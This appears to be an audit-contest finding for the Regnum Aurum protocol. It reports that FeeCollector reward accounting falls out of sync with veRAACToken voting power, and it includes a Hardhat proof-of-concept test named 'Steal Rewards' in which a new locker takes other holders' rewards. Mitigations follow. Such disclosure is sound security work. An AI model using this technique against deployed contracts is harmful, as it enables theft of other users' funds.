Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

The `FeeCollector::userRewards` and `veRAACToken` contracts are not synchronized correctly, leading to miscalculations in reward distribution.

Summary

The FeeCollector::userRewards and veRAACToken contracts are not synchronized correctly, leading to miscalculations in reward distribution. New users locking tokens can inadvertently claim rewards meant for existing users, resulting in losses for the original token holders.

Vulnerability Details

The reward calculation mechanism in the FeeCollector contract relies on the voting power from the veRAACToken contract, userRewards[user], and totalDistributed. As shown below, any changes in totalVotingPower and userVotingPower impact the share value allocated to users:

// FeeCollector::_calculatePendingRewards()
function _calculatePendingRewards(address user) internal view returns (uint256) {
@> uint256 userVotingPower = veRAACToken.getVotingPower(user);
if (userVotingPower == 0) return 0;
@> uint256 totalVotingPower = veRAACToken.getTotalVotingPower();
if (totalVotingPower == 0) return 0;
@> uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
return share > userRewards[user] ? share - userRewards[user] : 0;
}

However, userRewards[user] is only updated when the FeeCollector::claimRewards() function is called:

// FeeCollector::claimRewards()
function claimRewards(address user) external override nonReentrant whenNotPaused returns (uint256) {
if (user == address(0)) revert InvalidAddress();
uint256 pendingReward = _calculatePendingRewards(user);
if (pendingReward == 0) revert InsufficientBalance();
// Reset user rewards before transfer
@> userRewards[user] = totalDistributed;
// Transfer rewards
raacToken.safeTransfer(user, pendingReward);
emit RewardClaimed(user, pendingReward);
return pendingReward;
}

When a user locks tokens using veRAACToken::lock(), it alters both userVotingPower and totalVotingPower, affecting reward calculations for all users. Since userRewards[user] is not updated accordingly, the new user ends up claiming rewards that belong to others.

Poc

Add the following test to test/unit/core/collectors/FeeCollector.test.js and execute it:

describe("New locked user", function () {
beforeEach(async function () {
// Calculate gross amounts needed including transfer tax
const taxRate = SWAP_TAX_RATE + BURN_TAX_RATE; // 150 basis points (1.5%)
const grossMultiplier = BigInt(BASIS_POINTS * BASIS_POINTS) / BigInt(BASIS_POINTS * BASIS_POINTS - taxRate * BASIS_POINTS);
const protocolFeeGross = ethers.parseEther("50") * grossMultiplier / BigInt(10000);
const lendingFeeGross = ethers.parseEther("30") * grossMultiplier / BigInt(10000);
const swapTaxGross = ethers.parseEther("20") * grossMultiplier / BigInt(10000);
await network.provider.send("evm_mine");
// Collect Fees
await feeCollector.connect(user1).collectFee(protocolFeeGross, 0);
await feeCollector.connect(user1).collectFee(lendingFeeGross, 1);
await feeCollector.connect(user1).collectFee(swapTaxGross, 6);
// Distribution fee
await feeCollector.connect(owner).distributeCollectedFees();
// Claim rewards
await feeCollector.connect(user1).claimRewards(user1.address);
});
it("Steal Rewards", async function () {
await time.increase(WEEK);
await network.provider.send("evm_mine");
// Initialize user3
const user3 = ethers.Wallet.createRandom().connect(ethers.provider);
await owner.sendTransaction({
to: user3.address,
value: ethers.parseEther("1")
});
// the user3 locks the same number of raacTokens as user2
await raacToken.mint(user3.address, ethers.parseEther("500"));
await raacToken.connect(user3).approve(await veRAACToken.getAddress(), ethers.MaxUint256);
await veRAACToken.connect(user3).lock(ethers.parseEther("500"), ONE_YEAR);
// cache balance
const user3InitialBalance = await raacToken.balanceOf(user3.address);
// user3 claims Rewards
await feeCollector.connect(user3).claimRewards(user3.address);
const user3BalanceAfterClaimRewards = await raacToken.balanceOf(user3.address);
let user3ActualReward = user3BalanceAfterClaimRewards - user3InitialBalance;
console.log("user3ActualReward:",user3ActualReward);
// cache user2 pending reward
const user2ExpectedReward = await feeCollector.getPendingRewards(user2.address);
// Because the reward was claimed by user3, feeCollector does not have enough raacToken for user2 ❌
expect(user2ExpectedReward).to.be.gt(await raacToken.balanceOf(feeCollector.getAddress()));
// revert ❌
await expect (feeCollector.connect(user2).claimRewards(user2.address)).to.be.revertedWithCustomError(raacToken, "ERC20InsufficientBalance");
});
});

output:

FeeCollector
New locked user
user3ActualReward: 2499999920725520n

This test confirms that if a user does not claim their rewards promptly, a newly locked user can receive a portion of the rewards intended for others, leading to financial losses for original token holders.

Impact

The misalignment between userRewards[user] and voting power updates allows new users to claim rewards that should belong to existing users, effectively causing a loss of rewards for the original participants.

Tools Used

Manual Review

Recommendations

To mitigate the reward distribution issue and prevent losses for previously locked users, we recommend implementing the following fixes:

  1. Update userRewards[user] Before Modifying

    Voting PowerBefore a user locks tokens and gains VotingPower, their pending rewards should be claimed to update userRewards[user].

    After updating userRewards[user], the user's VotingPower can then be modified.

  2. Avoid Using Dynamic Data in _calculatePendingRewards()

    The function _calculatePendingRewards() currently relies on dynamically calculated voting power (userVotingPower and totalVotingPower). This approach introduces an inconsistency when a new user locks tokens, as their VotingPower is immediately included in the reward calculation.

    Even if userRewards[user] is correctly updated for the new user, the dynamically calculated VotingPower will cause the new user's share to be included in the reward pool. This results in the original user's rewards being locked in the contract instead of being claimable.

    To resolve this, reward calculations should be decoupled from dynamic voting power updates and instead be based on fixed snapshots of VotingPower at specific distribution periods. This can be done by integrating _calculatePendingRewards() with FeeCollector::distributeCollectedFees() to ensure that rewards are distributed according to predefined periods rather than fluctuating with every user action.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!